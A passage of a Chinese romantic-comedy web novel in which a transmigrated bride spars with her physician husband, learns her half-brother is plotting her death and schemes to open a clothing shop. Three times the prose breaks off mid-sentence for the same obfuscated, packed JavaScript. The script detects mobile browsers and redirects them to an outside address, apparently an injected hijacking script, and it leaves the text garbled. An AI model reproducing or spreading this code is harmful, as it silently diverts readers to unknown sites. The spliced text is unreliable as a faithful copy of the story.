家丁们面面相觑,迟疑片刻后,还是快步退下,赶着去向郝老爷禀报。 鹿芩呆立原地,只觉得头皮发麻,见郝景时的目光正悠悠地落在自己身上,急忙挤出一个干笑。 “那个,我家猫好像要生崽了……” 话音未落,她已悄悄挪动着小碎步,随时准备溜之大吉。 “站住。” 郝景时一个箭步挡在她身前。 鹿芩逃跑失败,一时间浑身别扭。她呵呵笑了笑,慢步往后退回,和他拉开距离。 “那个……” “小爷这几日哪儿也没去,就睡在医馆。”郝景时顿了顿,着意加重语气,“更没有什么狗。屁。相。好。的。” “……” 鹿芩脚趾抓地时,郝景时又非常重地咬起字来,掀起眼皮盯着她,用手在脖前做出斩杀的动作。 “再敢跟人胡说八道,小爷就不治你了,你就等着毒发身亡吧。” 4. 第 4 章 “…………” 想到他白天一人暴揍一行人的场景,鹿芩哪还敢说话。 她抿唇讨好地笑着。 不过,出乎她意料的是,郝景时虽然话说的狠,但还是攥住她的手腕,强势地把她拉到床边坐下。 鹿芩不敢得罪他,只能乖乖跟着坐下,毕竟自己的小命被他拿捏着。 坐下后,郝景时袖子一甩,也没扭捏,直接就拉过她的手,为她号脉。 手腕一热,鹿芩悄悄瞄过去,看见了他衣袖下漏出来的半截手臂。 哇塞。 这修长的手指,骨节分明,还隐隐浮现青筋;这胳膊线条,流畅优美;这肌肉,紧实饱满,一看就很有劲儿……难怪能撂倒那么多家丁。 光是胳膊都这么诱人了,那他身上……肯定有八块腹肌…… “你这姨娘,真是挨千刀的够狠。” 鹿芩看得眼睛发直,想入非非时,郝景时诊完了脉一抽手,“啧”了一声。 鹿芩惋惜地看着那馋人的胳膊被衣袖遮上,又看着那白净的手从药箱子里拿出几根银针…… “哎哟!”她还没反应过来,郝景时就三下五除二地给她扎上了针,她疼的眼泪都要掉下来了,“大哥!你轻点!你到底行不行啊!” 郝景时懒懒地张口:“疼就忍着,还敢质疑小爷的医术。” “……”鹿芩十分无语,刚刚升起的好感被他这么一弄散了个精光,忍不住说,“喂,好歹我是你的发妻,你能不能别这么没良心?” “哼!没良心?”这句话成功让郝景时又冷了脸,“他们擅作主张给小爷塞了门亲事,问过小爷的意见吗?还说小爷没良心?” 鹿芩翻了个白眼:“你有意见,就对着给你塞亲事的人说去,关我屁事?你狠狠扎我两下,父母就能同意我们和离了是怎么着?” 听到这话,郝景时被气的不轻,顺手给她拔去了银针,收了药箱子,又站起身来。 “小爷好心给你治病,你还挑三拣四的,要不是因为怕让旁人看了郝家的笑话,你当小爷愿意回来吗?”他咬牙说,“既然你敬酒不吃吃罚酒,那小爷也没什么好说的。以后你我分好楚河汉界,谁也别招惹谁,听懂了没?” 不用睡一屋,还有这等好事? 鹿芩赶紧点头答应了,生怕他下一秒反悔:“行啊,没问题!” 见她点头如捣蒜,一副巴不得他滚的远远的样子,郝景时更气不打一处来了。 他一手抄起药箱,愤愤地三步并作两步地冲出门,忽然又想起什么似的,顿了一下。 “警告你,在外人面前做好样子,别漏了破绽。”他头也不回地补充了一句,“每日晨起记得来隔壁找小爷,我们一起去给父亲母亲请安,否则小爷分分钟毒死你。” 丢下这句狠话后,不等她回应,郝景时便提着药箱子,扬长而去了。 装货。 鹿芩望着他的背影,忍不住扭曲着五官在心里“切”了一万声。 要不是因为怕毒发身亡,她早就开始降龙十八怼了。 把郝景时气跑以后,鹿芩觉得乳腺通常,当即盖被睡觉,当晚睡得香甜踏实。 第二天一早,阳光明媚,她如约去隔壁厢房门口等候郝景时,一同前去给公婆请安。 郝景时见了她,脸色还是不大痛快的样子,看来昨天真是被气的不轻。 鹿芩幸灾乐祸,为了配合他表现出恩爱的样子,特意当众挽住了他的胳膊,还特别用力。 郝景时别扭了一下,但没有推开,由着她去。 两人沉默了一路,走在前面,芝兰规规矩矩地跟在后面。同时跟着的,还有郝景时平时嫌碍事,几乎不带在身边的一个亲信随从玄岚。 天光初透,偌大的庭院里有许多洒扫的下人,下人们见少爷和少夫人来,都纷纷让路行礼。 “夫君~”鹿芩抓住机会,捏着嗓子贱兮兮地喊他,“夫君怎么看着不大高兴?” “……”见一众下人纷纷看过来,郝景时的不爽就差直接挂在脸上了。 但碍于面子,他只能把话憋回去,在众多下人的目光下挤出一个歪的不能再歪的笑容:“没。” 鹿芩见状,心里更是乐开了花。 活该,让你一天拽的二五八万的,看本小姐治不死你。 这场挑衅的斗争在请安结束后熄火,从殿里出来以后,两人分道扬镳,郝景时去了医馆,鹿芩则独自回到房间里,继续偷摸钻研自己的店铺。 她坐在书桌前,把郝景时这个贱人抛在脑后,认真地提笔写写画画,记录着自己的伟大构想。 苦思冥想了一晚后,她已经有了初步的计划,等不及要撸起袖子加油干。 她决定衣铺的名字就叫“小鹿衣铺”,店内要用暖色铺陈开,再在店门口插上一块“我在小鹿衣铺很想你”的牌子,好吸引顾客前往。 而后呢,她要再设计一款专属于自己的logo——在每件衣服上面都绣上小鹿角,增加辨识度。 至于衣服的尺码设计,她决定先做出一份均码尺,将肩宽、胸围、腰围划分为九个宫格、三组尺寸,形成3×3网格,量出客人大致的体型。 随后,再运用弹性材料、隐藏绑带以及活褶设计,使得同一件衣服能适应不同的体型,最大化地缩小误差。 至于售卖嘛……哼哼,这可是她的老本行,只要她一开金口,分分钟就能卖出一百单,小意思,不在话下! 鹿芩奋笔疾书,完全沉浸在自己的美好幻想里,但想着想着,又开始发愁了。 她还没有启动资金,这可是一大难事。 如果没有银子,无论她的想法多么美妙,也都只能被扼杀在摇篮里。 怎么办呢…… 要是有谁能借她一笔钱就好了…… 有了,不如就去街上看看有没有钱庄,当上一笔就是了。 再不济,她还能去街头卖艺,给大家吆喝一段。 打定了主意以后,鹿芩当即撂下笔,美滋滋地往床上一躺。 “万事俱备,只欠东风,鹿小芩,你可真是个天才!” …… 鹿芩没想到东风很快就吹过来了。 当天晌午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283115|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,日头更盛,空中似乎有热浪扑来一般,闷热闷热的,阳光渐渐毒辣,晃得人睁不开眼。 午膳前,郝景时差了玄岚回来传话,说天热不想回来了,鹿芩一听,立马跟公婆提出给夫君送饭。 郝老爷考虑到她身子不好,难耐暑热,便说差下人前去。 可鹿芩哪肯错过这样绝佳的出门机会,固执地说要亲自去,还毫不害臊地说自己十分思念夫君,食不下咽,要拿了自己那份陪夫君一同进食。 听后,郝老爷和郝夫人都很无奈,最终答应了,还让玄岚和芝兰陪同她一起前去。 鹿芩虽不想带着两个累赘,但也没法拒绝公婆的好意,只能答应了。 芝兰在身后为鹿芩打着伞,玄岚则奉老爷之命拿了把大蒲扇,跟在后面给少夫人扇风去暑。 烈日当空,街上的人们难耐酷暑,渐渐散开,周围的摊贩们都纷纷收了摊,热闹的集市逐渐冷清下来,有人光临的只剩下几处餐馆。 鹿芩四处张望着,过了两条街,终于瞄到一家钱庄。 她说是给郝景时送饭,实则是想趁机出门,先去找个钱庄借一笔钱,好租下店铺。 只要租下店铺,她就有信心经营好,然后发家致富,把那些议论过、欺负过她的小人踩在脚下,还有郝景时那个装货,哼哼哼哼…… 鹿芩越想越觉得开心,走着走着嘴角不自觉地咧开了,觉得自己干劲十足,连带着这副残躯病体也健壮了不少。 她步伐匆匆,因为她每多迈一步,就离她的伟大事业更进一步。 全然被忘却在脑后的玄岚和芝兰加快步子跟着,生怕她沾了暑热会晕倒。 他们不明所以地望着嘴角快咧到耳根的鹿芩,对视了一眼,异口同声地好奇道:“少夫人(小姐)这是有何喜事?” “啊,哦。”鹿芩这才从得意忘形中回过神来,轻咳一声,“喜事,自然是喜事,你们两个单身狗不懂,见到……心爱的人,总是情不自禁地开心。” 她胡诌完,继续大步流星地往前走着。 说来也神奇,上次出门,走了没几步就累的要倒下归西了,这次走了这么久,她居然一点儿也不累,看来是郝景时配的药起了效果。 她这夫君也不是庸医嘛,还是有两下子的。 鹿芩越走越兴奋了,已经沉浸在自己的构想里,不知天地为何物了。 玄岚和芝兰只能忙不迭地追着,芝兰担忧自家小姐的身子,开口劝道:“小姐慢点,仔细中了暑热。” “不会,我这身子骨已经被夫君治好了,没那么脆弱了。” 鹿芩边说边美美地转了个圈,证明自己并无大碍。 结果才得意了没两秒,她便腿一软,险些栽倒在地。 紧接着,她看见一颗金星在眼前晃晃悠悠,又瞬间变成无数颗,噼里啪啦地炸开了,五彩缤纷。 鹿芩有点看不清路了,恍惚间听见玄岚和芝兰惊呼的声音,她稀里糊涂地挥着手,想抓住身边的东西,但什么也没抓到。 耳朵里响起尖锐的一声鸣,随即她便脑袋一晕,倒在地上不省人事了。 5. 第 5 章 闷热的院子里传来几声蝉鸣,迷迷糊糊地睁眼醒来时,鹿芩发现街道和当铺都消失了,玄岚和芝兰也不见踪影。 她扶着头,坐了起来,环顾着这陌生又熟悉的场景。 空荡荡的,一个人也没有。 嘶……这陈设……不是她最开始被下药的那个地方吗? 她又回到鹿府来了? 意识到这一点后,鹿芩特意仔仔细细地回忆着这里的陈设。 没错,是她曾经的闺房,什么都没变。 唯一不同的,便是床上的被褥。被褥被叠的十分整齐,一丝褶皱都没有,看似是很久都没有人碰过了。 鹿芩掐指算了算,上次回来还是她卧床不起的时候,这次应该是出嫁后的某一天。 为了证实这一点,她摸了摸自己的脸蛋,又跑到梳妆台旁边照了照镜子——果然样子没变,还是那么美,装扮也是她今日出门时的装扮,清新脱俗的淡妆,配上浅绿色的罗裙。 怎么她一磕到头,就自动切换场景,当她是遥控器吗? 还只能调鹿府频道和郝府频道两个台? 鹿芩认命地叹了口气,既来之则安之,她习惯地下了床,准备再撞一下回去。 快点离开这破地方,别耽误她搞事业。 她徘徊了一阵,酝酿着找个软和点的地方撞,谁知突兀地,听见外头有说话的声音。 “还是少爷有办法,知道大小姐的闺房不会有人经过,最适合议事。” “还不是因为爹睹物思人,下令维持着她房里原本的陈设,有他管着,谁敢来冒犯。” 声音是从门外传来的,鹿芩正要撞墙的动作猛地一顿,转而轻手轻脚地走到门口,透过门缝偷偷地望着外面。 能在鹿府里自称本少爷的,也就只有她那好赌的大哥鹿鸣了。 果然,如她所料,透过门缝,她看见了鹿鸣的身影。 鹿鸣穿着金线掺孔雀羽线的云锦衣袍,手持一柄折叠扇,高高地昂着头颅,正和家丁说话。 同样是高傲的样子,鹿芩竟然觉得,郝景时反而没有这般讨人嫌。 家丁巴结着说:“嫁出去的女儿泼出去的水,老爷早晚会适应,更何况大小姐一身病痛,是个晦气的主,哪像少爷您,能为老爷分忧。” “哼,那可未必,谁叫爹偏疼这个病秧子。”鹿鸣的声音尖细,十分刺耳难听,“铺子里的人传话回来了,说是在上次那条街上看见了鹿芩。本少爷的意思,你都明白吧。” “少爷请放心。”那家丁半弯着身子,毕恭毕敬地说,“那间铺子一直有人盯着,不会有什么岔子的。所有的一切,奴才已经打点好了,只等您下令。” “哼,这就对了。”鹿鸣甩开了扇子,慢慢悠悠地给自己扇风,“我娘还是心慈手软,上次没能除了鹿芩,亏的本少爷留了个心眼,在那郝家医馆旁租了间铺子,也好知晓他们的动向。” “少爷何苦多花这笔银子呢?倒不如直接雇下杀手,来个痛快。” “高投资,高回报,你懂个屁。”鹿鸣用扇子敲了他一下,“鹿芩已经嫁了郝家,那郝景时可不是等闲之辈,咱们在他眼皮子底下杀人,他岂能不管?唯有借他之手除掉鹿芩,才是最佳办法。” “少爷果然聪慧过人,小的佩服。” “哼哼,那是自然……她那病秧子哪有福气继承家产,早晚全都得归本少爷。” 鹿鸣越说越得意了,笑声止不住。听到这,鹿芩恨得牙痒痒。 这个鹿鸣,阴成什么了。 真不愧是好赌之徒,为了得到这份家产,都不惜花一笔银子来租铺子,监视她和郝景时。 “少爷说的是……” 家丁开始连环彩虹屁,喋喋不休地说着吹捧鹿鸣的废话。 鹿芩懒得再往后听,于是直起身子,又轻手轻脚地离开了门口。 太晦气了。 她准备租下的店铺,居然是鹿鸣和赵姨娘安插眼线的地方。 太晦气了。 鹿芩心里带着一股怨气,也顾不上挑个什么软的东西了,直接往墙上撞了过去。 鹿鸣,既然你不仁,也别怪我不义。 那个病秧子鹿芩早就死了,本小姐是钮祜禄芩,一定会让你惨痛的付出代价的。 …… 一阵头晕后,鹿芩又缓缓睁开了眼睛。 她从还模糊的视线里看见了芝兰,芝兰正焦灼地望着她,似乎十分担心。 随即便是玄岚,他站在芝兰旁边,拿着扇子给她扇风,脸上没什么表情。 最后就是郝景时,这厮看都没看她,只是斜靠在椅背上,一手摇着蒲扇,另一手执着笔,在柜台的记账簿上写写画画。 三个人凑在一起,让小小的医馆更狭窄了,连聚拢着的热气都流通不出去。 鹿芩扶了一下额头,坐起来,加入到这拥挤的队伍中,视野渐渐变的清晰起来。 这次居然没有穿回郝府,反而穿回了医馆。 看来她这“磕头穿越”只是灵魂出窍似的飞回鹿府,最后还会穿回她身体所在的地方。 “小姐醒了!”见她睁开眼,芝兰拧着的眉头一下子疏解开了,“小姐,你刚刚中了暑热,一下子倒在地上,可吓坏我了!” “我没事。”鹿芩瞄了一眼芝兰,“那我怎么到这里来的,是你和玄岚把我抬进来的吗?” 芝兰答:“玄岚不敢坏了规矩,是他找了姑爷抱你回来的。” “……”鹿芩扶额,又瞄了一眼郝景时。 郝景时像聋了似的,头都不带回,一点也不关心她醒不醒。 鹿芩轻咳了一声,想跟他服个软道个谢。 但碍于两人才吵完架,抹不开面子,便冲玄岚和芝兰挥了挥手,示意他们俩回府里去。 说真的,她忽然发现,她现在唯一能指望人也的就是她这位夫君了。 至少他会武功,会医术,还顾着郝家的颜面认她这个夫人,在他身边,不至于死那么快…… 鹿鸣要杀她,赵姨娘也给她下了毒,她真是一刻也不能离开郝景时,否则不一定什么时候就会死无葬身之地了。 这对吗? 她看电视剧里别人穿越都是绑定什么金手指系统,她倒好,一穿来就自动绑定了个怨鬼姨娘和辟邪夫君。 “那个,夫君。”玄岚和芝兰走后,鹿芩往前面凑了凑,夹着嗓子喊他,“其实……” 郝景时漫不经心地抬了眼:“有话快说。” “其实夫君!”鹿芩一咬牙,豁出去了,“妾身今天是想来给夫君赔罪的!” 郝景时一愣:“?” “妾身昨晚夜不能寐,一直在反思己过,发现自己说的话实在是太过分了,因此心里过意不去……妾身本是来给你送饭求和的,不成想给你添麻烦了……” 见郝景时还是无动于衷,鹿芩绞尽脑汁地想着真切的措辞。 虽然相处时间不长,但她已然看透了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283116|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位郝少爷是个吃软不吃硬的性子,越跟他强硬,他就越是叛逆。 她想了半天,最后心一横,肉麻地来了一句: “可是夫君,妾身心里有你,实在是离不开你,你能不能大人不计小人过,原谅妾身这一次。” “…………” 郝景时没接话,两手都顿了一下,用一种怀疑她疯了的眼神望着她。 不过他面色倒是比刚刚柔和了几分,似乎是被这几声“夫君”哄好了,唤醒了良心。 “夫君,我说的都是真心话,我都想通了。”鹿芩见他终于有所缓和,便再度放软了语调,带了些撒娇的意味,“他们都一心想要我的命,只有夫君尽心医治我,夫君才是我最亲的人。” 她说到这,凑上去挽住他的手臂,冲着他无辜地眨巴眨巴眼睛,宝石似的眸子格外楚楚动人。 她挤出两滴晶莹的泪花:“夫君,我是真心爱慕你的,你若是不管我了,我可怎么办哪。” “……谁,谁不管你了。”郝景时果然吃软的这套,话都结巴了,“小爷我可不是什么负心汉。既、既然成了亲,小爷自会好吃好喝的待你,总之不会让你一命呜呼,免得落下亏妻的骂名。” 他说着,像是浑身扎了倒刺般不自在似的,把蒲扇丢在了一边。 鹿芩没想到他还挺讲道理,眼珠一转,有了计划。 她露出十分感动的样子:“夫君,你竟是这般有情有义的人,和赵姨娘说的一点也不一样。” “什么意思?” “……没什么。” “快说。” “那……那夫君保证听了不生气。” 虽是这么说,但鹿芩知道郝景时肯定会生气。 无缘无故被塞了门亲事,亲家还百般算计他,怎么可能不气。 郝景时随口答应了,示意她快说。 “……那日我偷听到赵姨娘吩咐下人办事,说夫君是个浪荡不羁的纨绔子弟,定会虐待我,府上的人至今都以为,夫君与玩世不恭的魔头无异。” 鹿芩开始有鼻子有眼的说着,不过她这话倒也没有撒谎,赵姨娘设计逼她出嫁,又选了个郝家这位倔少爷,目的就是为了让她不好过。 “赵姨娘不仅坏心眼,还贪慕富贵,特意择了有门第的郝家,说若我被夫君折磨死了,她便可以借此讹一笔钱财,给我那个好赌的大哥去花。” “可惜,她算盘落空了,夫君并非她所想。若是她知道夫君待我这般好,必会气的嘴歪眼斜。” “简直胡扯!”郝景时听后冷哼一声,“啪”地把笔按在了柜台上,“小爷我一向行侠仗义,行得正坐得端,岂是她口中那种下流之辈?我看她才是心机颇深的小人,连小爷都敢算计!” “是是是,都是我不好,不该说这些。夫君别生气,他们都是肤浅之人,眼里只认得钱,你别和他们一般见识。” 鹿芩好言劝说着,又殷勤地把一旁的食盒挪了过来,打开盒盖,端出里面精致的瓷碗,递到了郝景时唇边。 “大热天的别气坏了身子,喝点冰镇梅子汤。” 郝景时瞥了一眼,没说什么,接过碗一饮而尽了,又甩手将空碗扔回到食盒里。 他重新执起笔在账本上写写画画,面色并不好看,看来这笔仇,他是记在心里了。 鹿芩不再多言,掏出手帕凑上去给他擦着嘴角,心里暗喜。 哼哼,鹿鸣,你完蛋了。 你摊上大事了! 6. 第 6 章 鹿芩笃定鹿鸣摊上事了,所以心情很爽。 她温柔地给郝景时擦着嘴角,无意中瞟到了他手边的账簿,才发现他并不是在记账,而是在往上面画画。 没想到郝景时还有这样的爱好? 鹿芩心生好奇,便凑的更近了些,去看他到底在画些什么。 居然是衣服。 准确来说,是各式各样的服装设计稿。 鹿芩眼前一亮,饶有兴趣地观察了一会儿,发现每一幅画里的衣服款式都很新奇,和她之前去衣铺时看见的花样都不大一样。 “夫君,这些都你自己想的吗?”鹿芩忍不住拿过账本翻看,要知道,郝景时这些设计非常创新,可谓是天才一样的存在。 如果她能做出这些衣服挂在衣铺,做成限定款,岂不是两全其美。 “嗯。”郝景时把账本夺了回来,顺手扔到一边去了,似乎不想多说,“闲来无事乱画,打发时间。” “哎——”鹿芩赶紧又把账本捡回来拍了拍,“随手乱画都如此精美,夫君真是天赋异禀啊!夫君,你有这样的才华,为何不开个衣铺呢?” 郝景时见她像捡了宝似的捧着账本,表情变了变,有几分被夸赞的得意,还有几分被戳中心事的烦闷。 “我连自己的婚事都做不了主,你说为何。”他道,“那帮倚老卖老的家伙,天天唠叨着长子应当继承家业,父母也一味听劝,烦都烦死了。” “……”鹿芩忍不住心底吐槽:就这么一亩三分地,也算得上家业? 郝家有钱有势的,居然让郝景时这个少爷来守着这个又小又旧医馆。难道不是应该大笔挥霍银钱,培养儿子的兴趣爱好吗? 哪怕给医馆装修一下扩扩地盘呢! 鹿芩越想越觉得痛心疾首,这么好的苗子,就这样耽误了! 世有伯乐然后有千里马,既然公婆不识货,那就让她来做郝景时的伯乐! 更何况,如果能拉拢来郝景时陪她一起开衣铺,绝对是百利无一害,银钱也省了,设计稿也省了,美哉! 想到这,鹿芩赶紧凭着自己的三寸不烂之舌劝说郝景时:“夫君,虽说继承家业是个安逸的选择,但人各有所长,你这样好的才情被埋没在这里,实在是可惜啊!” 郝景时的手顿了一下:“你不觉得此事是不务正业吗?” 鹿芩继续输出彩虹屁:“怎会!我认为恰恰相反,夫君可成就一番大业!夫君设计的衣服别出心裁,若能做出来,必定会有许多人喜欢的!” “真的……?”郝景时半信半疑。 “当然!”鹿芩忙不迭地点头肯定,“夫君,既然你喜欢,不如我们一起开一家衣铺吧?” “……”郝景时望着她过分热情的眼神,抬手摩挲了一下下巴,“怕是难办,父母那边如何交代。” 鹿芩竖起一指分析:“公婆不晓得你的才华,他们是怕你吃苦,若你偷偷做出一番成绩,惊艳众人,他们肯定就不会再反对了,你说是不是?” 郝景时的眸子颤了颤,看似有心动之意。 但他思忖了片刻后,还是摇摇头:“罢了,不切实际。” 他说着将那账本合上,放置到一边不画了,恰巧这时医馆来了个病人,他便起身去给那人看病。 鹿芩识趣地闭了口,乖乖坐在一旁不打扰,实则一手偷偷地挪到桌子那头,将账本拿了过来。 千里马啊,你不是挺拽的吗,怎么关键时刻这么怂,什么都要听爹妈的。 看来,她这个伯乐,还要再下点别的功夫才行。 …… 随后几天,鹿芩开始施展洗脑大法,每天追着郝景时输出彩虹屁,凭借三寸不烂之舌劝说,旁敲侧击地问他的意思。 不过,郝景时不为所动,像是听不懂她的暗示,又像是觉得她的幻想太难实现。 总之他倔的像块磐石,推了半天都纹丝不动,还杵在原地。 鹿芩虽然泄气,但知道若是有郝景时的帮忙,她开铺子就能事半功倍,因此还是尽力争取。 可任凭她说的天花烂坠,郝景时依然没什么反应。 鹿芩开始怀疑人生了,甚至似乎能想象到当初给他说媒的媒婆有多头疼。 实在不行,还是自己单干吧,苦点累点……也比劝这头倔驴省力气。 一顿挣扎后。 鹿芩决定放过自己、放弃郝景时帮忙的某个傍晚。 她梳洗更衣,回到寝室,发现郝景时靠在榻上,对着几案上的灯笼翻看一本泛黄的书。 见他看的目不转睛,鹿芩轻手轻脚地走过去瞄了一眼,发现书里全都是服装款式,以及绣花样。 果然他还是喜欢,有戏有戏。 鹿芩心里重新燃起一点希望,逮到机会又凑上去问:“原来夫君平日喜欢看这些,难怪能有这般出色的设计。” “不关你事。”郝景时将书合上了。 “…………” 鹿芩有点想揍他一顿,但想到自己的衣铺,又忍下来了,转而继续吹捧说,“夫君,妾身并非多管闲事,只是觉得惋惜,这般优秀的设计,竟不能变成实物。若是能照样子做出衣服,必定会有许多人喜爱。” 郝景时抬眼看着她,难得没有自称小爷:“你当真觉得……我这些设计很好?” 看他神色便可知,他其实很渴望被认可。 鹿芩摆出一副“相见恨晚”的表情:“夫君设计的衣服,绝对是好的!妾身也是女子,女子最懂女子!若能穿上夫君亲手设计的衣裳,妾身便死而无憾!” 她声情并茂地说着,眼看郝景时动了动唇,就要张口,她满心期待。 结果他还是没松口,只说了句:“罢了,夜深了,休息吧。” 他说完拿了书,往门外走了。 鹿芩有点泄气,但她知道他吃软不吃硬,也不能操之过急了,只好捏着嗓子柔声在背后道了声晚安。 郝景时嗯了一声。 他走出门的脚步带着犹豫,鹿芩忽然明白他心里其实馋的很,只是有所顾虑不敢行动。 她顿时灵光一现,想到了一个办法。 既然他犹犹豫豫不肯答应,那她就来个先斩后奏,先租下铺子,再假装给他个惊喜。 没有人会拒绝惊喜的,尤其是看见惊喜是一直以来都很想要的东西。 鹿芩赶紧又喊住郝景时:“等下,夫君!” 郝景时回头:“还有何事?小爷现在困得很……” “能把在医馆时给你的医药费还给我吗?” “……” “夫君。” 鹿芩眨了眨卡姿兰大眼睛。 “好夫君,帅夫君,都是一家人,就别收了呗,你最好啦!” …… 果然说软话和拍马屁最管用。 郝景时很爽快,当即把那金条还给她了,次日还叫丫鬟额外给她送了许多银两。 简直像是触发了爆金币系统。 鹿芩看着一盘盘被丫鬟端进来的白花花的银子,喜不自胜。 真是天助她也,第一笔启动资金就这么不费劲地到手了! 她不用去钱庄贷款了,也不用去摆地摊卖艺了! 鹿芩美滋滋打点起来:这笔银子刚好分成两份,一份用来打赏下人,培养自己的亲信,另一份则用来租个地界,把衣铺开起来装修好。 打点好以后,鹿芩立马殷勤地跑去偏殿,等着和郝景时一起去给公婆请安。 因为心情极好,鹿芩看郝景时越发顺眼了,竟觉得他这张脸生的怪俊的。 这刀削般的眉,这宝石似的目,这高挺的鼻梁,这红润的唇……她白捡了个帅老公,也不亏嘛! “你盯着小爷做什么?”郝景时瞥见她那痴痴的目光,抱着胳膊问。 鹿芩冒着星星眼张口就来: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283117|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “夫君玉树临风,我能嫁给夫君,可真是有福气啊。” 为了得到银两,她已经完全沉醉在自己拍马屁的艺术里了。 郝景时虽然性子又倔又傲,但却很好哄,稍微说两句好话就能把他哄得乐呵了。 “哼,那是自然。”如她所料,郝景时非常受用,下巴都昂起来了。 鹿芩瞄了他一眼,忍不住笑了。 如果郝景时有尾巴,现在一定是翘得高高的。 二人一同入殿请安,陪着郝老爷和郝老夫人说了会儿话。 郝老爷和夫人训斥了郝景时几句,又说鹿芩过几日便可以回家省亲。 除此之外,郝老夫人还说了些让鹿芩学着管理府上事务、早日添丁这类的话。 听到二老说“抱孙子”这种字眼,鹿芩浑身难受,但还是装成贤良淑德的模样,乖巧点头。 她委婉询问起二老对于女子开店铺的看法,不想却遭到唾弃,他们认为女子应以丈夫为天,打理好家事,照顾好儿女,不可太过分张扬,在外抛头露面。 她又替郝景时试探了几句,发现他们并不在乎郝景时喜欢与否,只给他安排他们认为最合适的,无论婚姻还是事业。 他们认为救死扶伤是祖业,不得荒废,郝景时身为嫡长子,身份尊贵,名正言顺,必须继承。 他们认为成婚门当户对即可,主要是为了传宗接代,非要儿孙满堂才是福气。 原以为郝家这样的高门大户思想会开明一些,却不想也是这般的古板拘束,鹿芩倒是有点发愁了。 隔了一刻钟。 二人从殿内出来,鹿芩还在神思游离地想着办法,顺带开始盘算着怎么让赵姨娘和鹿鸣出个丑。 想着想着,冷不丁地听见郝景时说了句:“因为那赵姨娘?” 鹿芩愣了一下:“什么?” 她扭过头去,见郝景时正抱着双臂,朝她这边看。 “胆小如鼠。”他脊背挺拔,步伐肆意,高高吊起的马尾晃了一下,“一说回娘家,你脸拉的比茄子还长,有小爷在,你怕什么?” 鹿芩又愣了一下,完全没想到他会说这个,心里顿时觉得,自己这个夫君虽然横是横了点,但相当讲义气。 “妾身的确是畏惧赵姨娘,可妾身不想夫君很着受辱。”鹿芩又开始用温温柔柔的嗓音说,“若是夫君觉得晦气,妾身自己回娘家去便是。” “不用妾身妾身的,小爷听着累得慌。”郝景时将头扭回去了,看上去依然是很拽的架势,“小爷非要去见见这等肤浅之辈。他们若敢当着小爷的面害你,小爷便要他们的狗命。” 他说着,甩手拂袖而去。 “小爷要去医馆了,你回去歇着吧。” “好。”鹿芩答应着,心里暗喜,这就是有人罩着的感觉吗? 大山小山不如靠山! 她默默数了五秒,觉得差不多了,又喊,“夫君,等一下!” 她绝不会让他的靠山输给别的男人! 郝景时停住脚,幽幽地回望了一下。 “又怎么了?” 鹿芩维持着优雅的姿势,一路小跑过去,昂起头深情款款地看着他,不料踩到一颗石子,脚下一歪,一头扎进了他怀里。 “……” 怕她摔着,郝景时下意识地抱紧了她,一瞬间又别扭地松开了。 “……” 鹿芩顺势站稳,假装无事发生地抬手:“切勿过度操劳啊,夫君,妾身会心疼的。”她一边望着他,一边为他整理了一下衣襟。 郝景时再度抱起双臂,倔强地转过身,看也不看她,但耳根唰地泛红了。 “这没旁人,就别演了吧。” 他大步流星地走了,玄色衣袍也跟着着急地飘啊飘,隔了一秒,又回头说:“小爷让人熬了药,记得按时喝,别被毒死了。” 说罢,像兔子似的,走得更快了。 7. 第 7 章 事不宜迟,是时候行动了! 见郝景时风一样地离开以后,鹿芩立马迈着大步冲回寝室拿银子,准备上街。 鉴于上次出门只带了斗笠,一不小心暴露自己,差点被赵姨娘的人追杀,鹿芩有点后怕,所以这次她决定来个女扮男装,这样就谁都认不出来她了。 打定主意后,鹿芩立刻大步大步地冲到梳妆台,坐下来开始给自己“变脸”。 身为美妆穿搭博主,画男妆自然难不倒她。虽然现在化妆品简陋,工具也不太顺手,但她还是凭借自己高超的化妆技术,参照郝景时的脸,把自己化成了一个大帅哥。 “啧。”完成后,鹿芩照着镜子,看着里面浓眉大眼高鼻梁的帅哥,非常满意自己的杰作。 这技术,堪比易容术。 妆容搞定了,接下来便是服装。 鹿芩想了想,起身走去橱柜里看了看郝景时的衣服,准备“借用”一下。 他的衣服几乎都是墨色玄色,很少有浅色和艳色,不过款式倒都是最新的,不难看出这夫君衣品很不错。 鹿芩挑了几件看着顺眼的比划上身,谁料衣裳一抖开便拖到了地上,长长的衣摆立刻耷拉下去,在地上落成了一坨,袖口宽的像唱戏的角,腰身也空荡荡的,都足够她当成薄被子盖了。 也是,原主的身体娇小可人,郝景时比她高了一个头不止,他的衣服她怎么可能穿得合身…… 